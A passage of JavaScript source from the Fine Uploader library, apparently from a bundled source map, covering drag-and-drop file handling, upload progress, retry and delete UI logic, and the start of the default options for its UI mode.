{\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is for firefox\n\n        // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n        // the filesystem\n        effectTest = qq.ie() && qq.supportedFeatures.fileDrop ? true : dt.effectAllowed !== \"none\";\n        return dt && effectTest && (dt.files || (!isSafari && dt.types.contains && dt.types.contains(\"Files\")));\n    }\n\n    function isOrSetDropDisabled(isDisabled) {\n        if (isDisabled !== undefined) {\n            preventDrop = isDisabled;\n        }\n        return preventDrop;\n    }\n\n    function triggerHidezonesEvent() {\n        var hideZonesEvent;\n\n        function triggerUsingOldApi() {\n            hideZonesEvent = document.createEvent(\"Event\");\n            hideZonesEvent.initEvent(options.HIDE_ZONES_EVENT_NAME, true, true);\n        }\n\n        if (window.CustomEvent) {\n            try {\n                hideZonesEvent = new CustomEvent(options.HIDE_ZONES_EVENT_NAME);\n            }\n            catch (err) {\n                triggerUsingOldApi();\n            }\n        }\n        else {\n            triggerUsingOldApi();\n        }\n\n        document.dispatchEvent(hideZonesEvent);\n    }\n\n    function attachEvents() {\n        disposeSupport.attach(element, \"dragover\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            // dt.effectAllowed crashes IE 11 & 10 when files have been dragged from\n            // the filesystem\n            var effect = qq.ie() && qq.supportedFeatures.fileDrop ? null : e.dataTransfer.effectAllowed;\n            if (effect === \"move\" || effect === \"linkMove\") {\n                e.dataTransfer.dropEffect = \"move\"; // for FF (only move allowed)\n            } else {\n                e.dataTransfer.dropEffect = \"copy\"; // for Chrome\n            }\n\n            e.stopPropagation();\n            e.preventDefault();\n        });\n\n        disposeSupport.attach(element, \"dragenter\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n                options.onEnter(e);\n            }\n        });\n\n        disposeSupport.attach(element, \"dragleave\", function(e) {\n            if (!isValidFileDrag(e)) {\n                return;\n            }\n\n            options.onLeave(e);\n\n            var relatedTarget = document.elementFromPoint(e.clientX, e.clientY);\n            // do not fire when moving a mouse over a descendant\n            if (qq(this).contains(relatedTarget)) {\n                return;\n            }\n\n            options.onLeaveNotDescendants(e);\n        });\n\n        disposeSupport.attach(element, \"drop\", function(e) {\n            if (!isOrSetDropDisabled()) {\n                if (!isValidFileDrag(e)) {\n                    return;\n                }\n\n                e.preventDefault();\n                e.stopPropagation();\n                options.onDrop(e);\n\n                triggerHidezonesEvent();\n            }\n        });\n    }\n\n    disableDropOutside();\n    attachEvents();\n\n    qq.extend(this, {\n        dropDisabled: function(isDisabled) {\n            return isOrSetDropDisabled(isDisabled);\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n        },\n\n        getElement: function() {\n            return element;\n        }\n    });\n};\n","/*globals qq */\n/**\n * Defines the public API for FineUploader mode.\n */\n(function() {\n    \"use strict\";\n\n    qq.uiPublicApi = {\n        addInitialFiles: function(cannedFileList) {\n            this._parent.prototype.addInitialFiles.apply(this, arguments);\n            this._templating.addCacheToDom();\n        },\n\n        clearStoredFiles: function() {\n            this._parent.prototype.clearStoredFiles.apply(this, arguments);\n            this._templating.clearFiles();\n        },\n\n        addExtraDropzone: function(element) {\n            this._dnd && this._dnd.setupExtraDropzone(element);\n        },\n\n        removeExtraDropzone: function(element) {\n            if (this._dnd) {\n                return this._dnd.removeDropzone(element);\n            }\n        },\n\n        getItemByFileId: function(id) {\n            if (!this._templating.isHiddenForever(id)) {\n                return this._templating.getFileContainer(id);\n            }\n        },\n\n        reset: function() {\n            this._parent.prototype.reset.apply(this, arguments);\n            this._templating.reset();\n\n            if (!this._options.button && this._templating.getButton()) {\n                this._defaultButtonId = this._createUploadButton({\n                    element: this._templating.getButton(),\n                    title: this._options.text.fileInputTitle\n                }).getButtonId();\n            }\n\n            if (this._dnd) {\n                this._dnd.dispose();\n                this._dnd = this._setupDragAndDrop();\n            }\n\n            this._totalFilesInBatch = 0;\n            this._filesInBatchAddedToUi = 0;\n\n            this._setupClickAndEditEventHandlers();\n        },\n\n        setName: function(id, newName) {\n            var formattedFilename = this._options.formatFileName(newName);\n\n            this._parent.prototype.setName.apply(this, arguments);\n            this._templating.updateFilename(id, formattedFilename);\n        },\n\n        pauseUpload: function(id) {\n            var paused = this._parent.prototype.pauseUpload.apply(this, arguments);\n\n            paused && this._templating.uploadPaused(id);\n            return paused;\n        },\n\n        continueUpload: function(id) {\n            var continued = this._parent.prototype.continueUpload.apply(this, arguments);\n\n            continued && this._templating.uploadContinued(id);\n            return continued;\n        },\n\n        getId: function(fileContainerOrChildEl) {\n            return this._templating.getFileId(fileContainerOrChildEl);\n        },\n\n        getDropTarget: function(fileId) {\n            var file = this.getFile(fileId);\n\n            return file.qqDropTarget;\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploader mode.\n     */\n    qq.uiPrivateApi = {\n        _getButton: function(buttonId) {\n            var button = this._parent.prototype._getButton.apply(this, arguments);\n\n            if (!button) {\n                if (buttonId === this._defaultButtonId) {\n                    button = this._templating.getButton();\n                }\n            }\n\n            return button;\n        },\n\n        _removeFileItem: function(fileId) {\n            this._templating.removeFile(fileId);\n        },\n\n        _setupClickAndEditEventHandlers: function() {\n            this._fileButtonsClickHandler = qq.FileButtonsClickHandler && this._bindFileButtonsClickEvent();\n\n            // A better approach would be to check specifically for focusin event support by querying the DOM API,\n            // but the DOMFocusIn event is not exposed as a property, so we have to resort to UA string sniffing.\n            this._focusinEventSupported = !qq.firefox();\n\n            if (this._isEditFilenameEnabled())\n            {\n                this._filenameClickHandler = this._bindFilenameClickEvent();\n                this._filenameInputFocusInHandler = this._bindFilenameInputFocusInEvent();\n                this._filenameInputFocusHandler = this._bindFilenameInputFocusEvent();\n            }\n        },\n\n        _setupDragAndDrop: function() {\n            var self = this,\n                dropZoneElements = this._options.dragAndDrop.extraDropzones,\n                templating = this._templating,\n                defaultDropZone = templating.getDropZone();\n\n            defaultDropZone && dropZoneElements.push(defaultDropZone);\n\n            return new qq.DragAndDrop({\n                dropZoneElements: dropZoneElements,\n                allowMultipleItems: this._options.multiple,\n                classes: {\n                    dropActive: this._options.classes.dropActive\n                },\n                callbacks: {\n                    processingDroppedFiles: function() {\n                        templating.showDropProcessing();\n                    },\n                    processingDroppedFilesComplete: function(files, targetEl) {\n                        templating.hideDropProcessing();\n\n                        qq.each(files, function(idx, file) {\n                            file.qqDropTarget = targetEl;\n                        });\n\n                        if (files.length) {\n                            self.addFiles(files, null, null);\n                        }\n                    },\n                    dropError: function(code, errorData) {\n                        self._itemError(code, errorData);\n                    },\n                    dropLog: function(message, level) {\n                        self.log(message, level);\n                    }\n                }\n            });\n        },\n\n        _bindFileButtonsClickEvent: function() {\n            var self = this;\n\n            return new qq.FileButtonsClickHandler({\n                templating: this._templating,\n\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n\n                onDeleteFile: function(fileId) {\n                    self.deleteFile(fileId);\n                },\n\n                onCancel: function(fileId) {\n                    self.cancel(fileId);\n                },\n\n                onRetry: function(fileId) {\n                    self.retry(fileId);\n                },\n\n                onPause: function(fileId) {\n                    self.pauseUpload(fileId);\n                },\n\n                onContinue: function(fileId) {\n                    self.continueUpload(fileId);\n                },\n\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                }\n            });\n        },\n\n        _isEditFilenameEnabled: function() {\n            /*jshint -W014 */\n            return this._templating.isEditFilenamePossible()\n                && !this._options.autoUpload\n                && qq.FilenameClickHandler\n                && qq.FilenameInputFocusHandler\n                && qq.FilenameInputFocusHandler;\n        },\n\n        _filenameEditHandler: function() {\n            var self = this,\n                templating = this._templating;\n\n            return {\n                templating: templating,\n                log: function(message, lvl) {\n                    self.log(message, lvl);\n                },\n                onGetUploadStatus: function(fileId) {\n                    return self.getUploads({id: fileId}).status;\n                },\n                onGetName: function(fileId) {\n                    return self.getName(fileId);\n                },\n                onSetName: function(id, newName) {\n                    self.setName(id, newName);\n                },\n                onEditingStatusChange: function(id, isEditing) {\n                    var qqInput = qq(templating.getEditInput(id)),\n                        qqFileContainer = qq(templating.getFileContainer(id));\n\n                    if (isEditing) {\n                        qqInput.addClass(\"qq-editing\");\n                        templating.hideFilename(id);\n                        templating.hideEditIcon(id);\n                    }\n                    else {\n                        qqInput.removeClass(\"qq-editing\");\n                        templating.showFilename(id);\n                        templating.showEditIcon(id);\n                    }\n\n                    // Force IE8 and older to repaint\n                    qqFileContainer.addClass(\"qq-temp\").removeClass(\"qq-temp\");\n                }\n            };\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            this._parent.prototype._onUploadStatusChange.apply(this, arguments);\n\n            if (this._isEditFilenameEnabled()) {\n                // Status for a file exists before it has been added to the DOM, so we must be careful here.\n                if (this._templating.getFileContainer(id) && newStatus !== qq.status.SUBMITTED) {\n                    this._templating.markFilenameEditable(id);\n                    this._templating.hideEditIcon(id);\n                }\n            }\n\n            if (newStatus === qq.status.UPLOAD_RETRYING) {\n                this._templating.hideRetry(id);\n                this._templating.setStatusText(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.retrying);\n            }\n            else if (newStatus === qq.status.UPLOAD_FAILED) {\n                this._templating.hidePause(id);\n            }\n        },\n\n        _bindFilenameInputFocusInEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusInHandler(spec);\n        },\n\n        _bindFilenameInputFocusEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameInputFocusHandler(spec);\n        },\n\n        _bindFilenameClickEvent: function() {\n            var spec = qq.extend({}, this._filenameEditHandler());\n\n            return new qq.FilenameClickHandler(spec);\n        },\n\n        _storeForLater: function(id) {\n            this._parent.prototype._storeForLater.apply(this, arguments);\n            this._templating.hideSpinner(id);\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._parent.prototype._onAllComplete.apply(this, arguments);\n            this._templating.resetTotalProgress();\n        },\n\n        _onSubmit: function(id, name) {\n            var file = this.getFile(id);\n\n            if (file && file.qqPath && this._options.dragAndDrop.reportDirectoryPaths) {\n                this._paramsStore.addReadOnly(id, {\n                    qqpath: file.qqPath\n                });\n            }\n\n            this._parent.prototype._onSubmit.apply(this, arguments);\n            this._addToList(id, name);\n        },\n\n        // The file item has been added to the DOM.\n        _onSubmitted: function(id) {\n            // If the edit filename feature is enabled, mark the filename element as \"editable\" and the associated edit icon\n            if (this._isEditFilenameEnabled()) {\n                this._templating.markFilenameEditable(id);\n                this._templating.showEditIcon(id);\n\n                // If the focusin event is not supported, we must add a focus handler to the newly create edit filename text input\n                if (!this._focusinEventSupported) {\n                    this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(id));\n                }\n            }\n        },\n\n        // Update the progress bar & percentage as the file is uploaded\n        _onProgress: function(id, name, loaded, total) {\n            this._parent.prototype._onProgress.apply(this, arguments);\n\n            this._templating.updateProgress(id, loaded, total);\n\n            if (Math.round(loaded / total * 100) === 100) {\n                this._templating.hideCancel(id);\n                this._templating.hidePause(id);\n                this._templating.hideProgress(id);\n                this._templating.setStatusText(id, this._options.text.waitingForResponse);\n\n                // If ~last byte was sent, display total file size\n                this._displayFileSize(id);\n            }\n            else {\n                // If still uploading, display percentage - total size is actually the total request(s) size\n                this._displayFileSize(id, loaded, total);\n            }\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._parent.prototype._onTotalProgress.apply(this, arguments);\n            this._templating.updateTotalProgress(loaded, total);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            var parentRetVal = this._parent.prototype._onComplete.apply(this, arguments),\n                templating = this._templating,\n                fileContainer = templating.getFileContainer(id),\n                self = this;\n\n            function completeUpload(result) {\n                // If this file is not represented in the templating module, perhaps it was hidden intentionally.\n                // If so, don't perform any UI-related tasks related to this file.\n                if (!fileContainer) {\n                    return;\n                }\n\n                templating.setStatusText(id);\n\n                qq(fileContainer).removeClass(self._classes.retrying);\n                templating.hideProgress(id);\n\n                if (self.getUploads({id: id}).status !== qq.status.UPLOAD_FAILED) {\n                    templating.hideCancel(id);\n                }\n                templating.hideSpinner(id);\n\n                if (result.success) {\n                    self._markFileAsSuccessful(id);\n                }\n                else {\n                    qq(fileContainer).addClass(self._classes.fail);\n                    templating.showCancel(id);\n\n                    if (templating.isRetryPossible() && !self._preventRetries[id]) {\n                        qq(fileContainer).addClass(self._classes.retryable);\n                        templating.showRetry(id);\n                    }\n                    self._controlFailureTextDisplay(id, result);\n                }\n            }\n\n            // The parent may need to perform some async operation before we can accurately determine the status of the upload.\n            if (parentRetVal instanceof qq.Promise) {\n                parentRetVal.done(function(newResult) {\n                    completeUpload(newResult);\n                });\n\n            }\n            else {\n                completeUpload(result);\n            }\n\n            return parentRetVal;\n        },\n\n        _markFileAsSuccessful: function(id) {\n            var templating = this._templating;\n\n            if (this._isDeletePossible()) {\n                templating.showDeleteButton(id);\n            }\n\n            qq(templating.getFileContainer(id)).addClass(this._classes.success);\n\n            this._maybeUpdateThumbnail(id);\n        },\n\n        _onUploadPrep: function(id) {\n            this._parent.prototype._onUploadPrep.apply(this, arguments);\n            this._templating.showSpinner(id);\n        },\n\n        _onUpload: function(id, name) {\n            var parentRetVal = this._parent.prototype._onUpload.apply(this, arguments);\n\n            this._templating.showSpinner(id);\n\n            return parentRetVal;\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            this._parent.prototype._onUploadChunk.apply(this, arguments);\n\n            // Only display the pause button if we have finished uploading at least one chunk\n            // & this file can be resumed\n            if (chunkData.partIndex > 0 && this._handler.isResumable(id)) {\n                this._templating.allowPause(id);\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._parent.prototype._onCancel.apply(this, arguments);\n            this._removeFileItem(id);\n\n            if (this._getNotFinished() === 0) {\n                this._templating.resetTotalProgress();\n            }\n        },\n\n        _onBeforeAutoRetry: function(id) {\n            var retryNumForDisplay, maxAuto, retryNote;\n\n            this._parent.prototype._onBeforeAutoRetry.apply(this, arguments);\n\n            this._showCancelLink(id);\n\n            if (this._options.retry.showAutoRetryNote) {\n                retryNumForDisplay = this._autoRetries[id];\n                maxAuto = this._options.retry.maxAutoAttempts;\n\n                retryNote = this._options.retry.autoRetryNote.replace(/\\{retryNum\\}/g, retryNumForDisplay);\n                retryNote = retryNote.replace(/\\{maxAuto\\}/g, maxAuto);\n\n                this._templating.setStatusText(id, retryNote);\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retrying);\n            }\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            if (this._parent.prototype._onBeforeManualRetry.apply(this, arguments)) {\n                this._templating.resetProgress(id);\n                qq(this._templating.getFileContainer(id)).removeClass(this._classes.fail);\n                this._templating.setStatusText(id);\n                this._templating.showSpinner(id);\n                this._showCancelLink(id);\n                return true;\n            }\n            else {\n                qq(this._templating.getFileContainer(id)).addClass(this._classes.retryable);\n                this._templating.showRetry(id);\n                return false;\n            }\n        },\n\n        _onSubmitDelete: function(id) {\n            var onSuccessCallback = qq.bind(this._onSubmitDeleteSuccess, this);\n\n            this._parent.prototype._onSubmitDelete.call(this, id, onSuccessCallback);\n        },\n\n        _onSubmitDeleteSuccess: function(id, uuid, additionalMandatedParams) {\n            if (this._options.deleteFile.forceConfirm) {\n                this._showDeleteConfirm.apply(this, arguments);\n            }\n            else {\n                this._sendDeleteRequest.apply(this, arguments);\n            }\n        },\n\n        _onDeleteComplete: function(id, xhr, isError) {\n            this._parent.prototype._onDeleteComplete.apply(this, arguments);\n\n            this._templating.hideSpinner(id);\n\n            if (isError) {\n                this._templating.setStatusText(id, this._options.deleteFile.deletingFailedText);\n                this._templating.showDeleteButton(id);\n            }\n            else {\n                this._removeFileItem(id);\n            }\n        },\n\n        _sendDeleteRequest: function(id, uuid, additionalMandatedParams) {\n            this._templating.hideDeleteButton(id);\n            this._templating.showSpinner(id);\n            this._templating.setStatusText(id, this._options.deleteFile.deletingStatusText);\n            this._deleteHandler.sendDelete.apply(this, arguments);\n        },\n\n        _showDeleteConfirm: function(id, uuid, mandatedParams) {\n            /*jshint -W004 */\n            var fileName = this.getName(id),\n                confirmMessage = this._options.deleteFile.confirmMessage.replace(/\\{filename\\}/g, fileName),\n                uuid = this.getUuid(id),\n                deleteRequestArgs = arguments,\n                self = this,\n                retVal;\n\n            retVal = this._options.showConfirm(confirmMessage);\n\n            if (qq.isGenericPromise(retVal)) {\n                retVal.then(function() {\n                    self._sendDeleteRequest.apply(self, deleteRequestArgs);\n                });\n            }\n            else if (retVal !== false) {\n                self._sendDeleteRequest.apply(self, deleteRequestArgs);\n            }\n        },\n\n        _addToList: function(id, name, canned) {\n            var prependData,\n                prependIndex = 0,\n                dontDisplay = this._handler.isProxied(id) && this._options.scaling.hideScaled,\n                record;\n\n            if (this._options.display.prependFiles) {\n                if (this._totalFilesInBatch > 1 && this._filesInBatchAddedToUi > 0) {\n                    prependIndex = this._filesInBatchAddedToUi - 1;\n                }\n\n                prependData = {\n                    index: prependIndex\n                };\n            }\n\n            if (!canned) {\n                if (this._options.disableCancelForFormUploads && !qq.supportedFeatures.ajaxUploading) {\n                    this._templating.disableCancel();\n                }\n\n                // Cancel all existing (previous) files and clear the list if this file is not part of\n                // a scaled file group that has already been accepted, or if this file is not part of\n                // a scaled file group at all.\n                if (!this._options.multiple) {\n                    record = this.getUploads({id: id});\n\n                    this._handledProxyGroup = this._handledProxyGroup || record.proxyGroupId;\n\n                    if (record.proxyGroupId !== this._handledProxyGroup || !record.proxyGroupId) {\n                        this._handler.cancelAll();\n                        this._clearList();\n                        this._handledProxyGroup = null;\n                    }\n                }\n            }\n\n            if (canned) {\n                this._templating.addFileToCache(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.updateThumbnail(id, this._thumbnailUrls[id], true, this._options.thumbnails.customResizer);\n            }\n            else {\n                this._templating.addFile(id, this._options.formatFileName(name), prependData, dontDisplay);\n                this._templating.generatePreview(id, this.getFile(id), this._options.thumbnails.customResizer);\n            }\n\n            this._filesInBatchAddedToUi += 1;\n\n            if (canned ||\n                (this._options.display.fileSizeOnSubmit && qq.supportedFeatures.ajaxUploading)) {\n\n                this._displayFileSize(id);\n            }\n        },\n\n        _clearList: function() {\n            this._templating.clearFiles();\n            this.clearStoredFiles();\n        },\n\n        _displayFileSize: function(id, loadedSize, totalSize) {\n            var size = this.getSize(id),\n                sizeForDisplay = this._formatSize(size);\n\n            if (size >= 0) {\n                if (loadedSize !== undefined && totalSize !== undefined) {\n                    sizeForDisplay = this._formatProgress(loadedSize, totalSize);\n                }\n\n                this._templating.updateSize(id, sizeForDisplay);\n            }\n        },\n\n        _formatProgress: function(uploadedSize, totalSize) {\n            var message = this._options.text.formatProgress;\n            function r(name, replacement) { message = message.replace(name, replacement); }\n\n            r(\"{percent}\", Math.round(uploadedSize / totalSize * 100));\n            r(\"{total_size}\", this._formatSize(totalSize));\n            return message;\n        },\n\n        _controlFailureTextDisplay: function(id, response) {\n            var mode, responseProperty, failureReason;\n\n            mode = this._options.failedUploadTextDisplay.mode;\n            responseProperty = this._options.failedUploadTextDisplay.responseProperty;\n\n            if (mode === \"custom\") {\n                failureReason = response[responseProperty];\n                if (!failureReason) {\n                    failureReason = this._options.text.failUpload;\n                }\n\n                this._templating.setStatusText(id, failureReason);\n\n                if (this._options.failedUploadTextDisplay.enableTooltip) {\n                    this._showTooltip(id, failureReason);\n                }\n            }\n            else if (mode === \"default\") {\n                this._templating.setStatusText(id, this._options.text.failUpload);\n            }\n            else if (mode !== \"none\") {\n                this.log(\"failedUploadTextDisplay.mode value of '\" + mode + \"' is not valid\", \"warn\");\n            }\n        },\n\n        _showTooltip: function(id, text) {\n            this._templating.getFileContainer(id).title = text;\n        },\n\n        _showCancelLink: function(id) {\n            if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {\n                this._templating.showCancel(id);\n            }\n        },\n\n        _itemError: function(code, name, item) {\n            var message = this._parent.prototype._itemError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _batchError: function(message) {\n            this._parent.prototype._batchError.apply(this, arguments);\n            this._options.showMessage(message);\n        },\n\n        _setupPastePrompt: function() {\n            var self = this;\n\n            this._options.callbacks.onPasteReceived = function() {\n                var message = self._options.paste.namePromptMessage,\n                    defaultVal = self._options.paste.defaultName;\n\n                return self._options.showPrompt(message, defaultVal);\n            };\n        },\n\n        _fileOrBlobRejected: function(id, name) {\n            this._totalFilesInBatch -= 1;\n            this._parent.prototype._fileOrBlobRejected.apply(this, arguments);\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            this._totalFilesInBatch = items.length;\n            this._filesInBatchAddedToUi = 0;\n            this._parent.prototype._prepareItemsForUpload.apply(this, arguments);\n        },\n\n        _maybeUpdateThumbnail: function(fileId) {\n            var thumbnailUrl = this._thumbnailUrls[fileId],\n                fileStatus = this.getUploads({id: fileId}).status;\n\n            if (fileStatus !== qq.status.DELETED &&\n                (thumbnailUrl ||\n                this._options.thumbnails.placeholders.waitUntilResponse ||\n                !qq.supportedFeatures.imagePreviews)) {\n\n                // This will replace the \"waiting\" placeholder with a \"preview not available\" placeholder\n                // if called with a null thumbnailUrl.\n                this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);\n            }\n        },\n\n        _addCannedFile: function(sessionData) {\n            var id = this._parent.prototype._addCannedFile.apply(this, arguments);\n\n            this._addToList(id, this.getName(id), true);\n            this._templating.hideSpinner(id);\n            this._templating.hideCancel(id);\n            this._markFileAsSuccessful(id);\n\n            return id;\n        },\n\n        _setSize: function(id, newSize) {\n            this._parent.prototype._setSize.apply(this, arguments);\n\n            this._templating.updateSize(id, this._formatSize(newSize));\n        },\n\n        _sessionRequestComplete: function() {\n            this._templating.addCacheToDom();\n            this._parent.prototype._sessionRequestComplete.apply(this, arguments);\n        }\n    };\n}());\n","/*globals qq */\n/**\n * This defines FineUploader mode, which is a default UI w/ drag & drop uploading.\n */\nqq.FineUploader = function(o, namespace) {\n    \"use strict\";\n\n    var self = this;\n\n    // By default this should inherit instance data from FineUploaderBasic, but this can be overridden\n    // if the (internal) caller defines a different parent.  The parent is also used by\n    // the private and public API functions that need to delegate to a parent function.\n    this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;\n    this._parent.apply(this, arguments);\n\n    // Options provided by FineUploader mode\n    qq.extend(this._options, {\n        element: null,\n\n        button: null,\n\n        listElement: null,\n\n        dragAndDrop: {\n            extraDropzones: [],\n            reportDirectoryPaths: false\n        },\n\n        text: {\n            formatProgress: \"{percent}% of {total_size}\",\n            failUpload: \"Upload failed\",\n            waitingForResponse: \"Processing...\",\n            paused: \"Paused\"\n        },\n\n        template: \"qq-template\",\n\n        classes: {\n            retrying: \"qq-upload-retrying\",\n            retryable: \"qq-upload-retryable\",\n            success: \"qq-upload-success\",\n            fail: \"qq-upload-fail\",\n            editable: \"qq-editable\",\n            hide: \"qq-hide\",\n            dropActive: 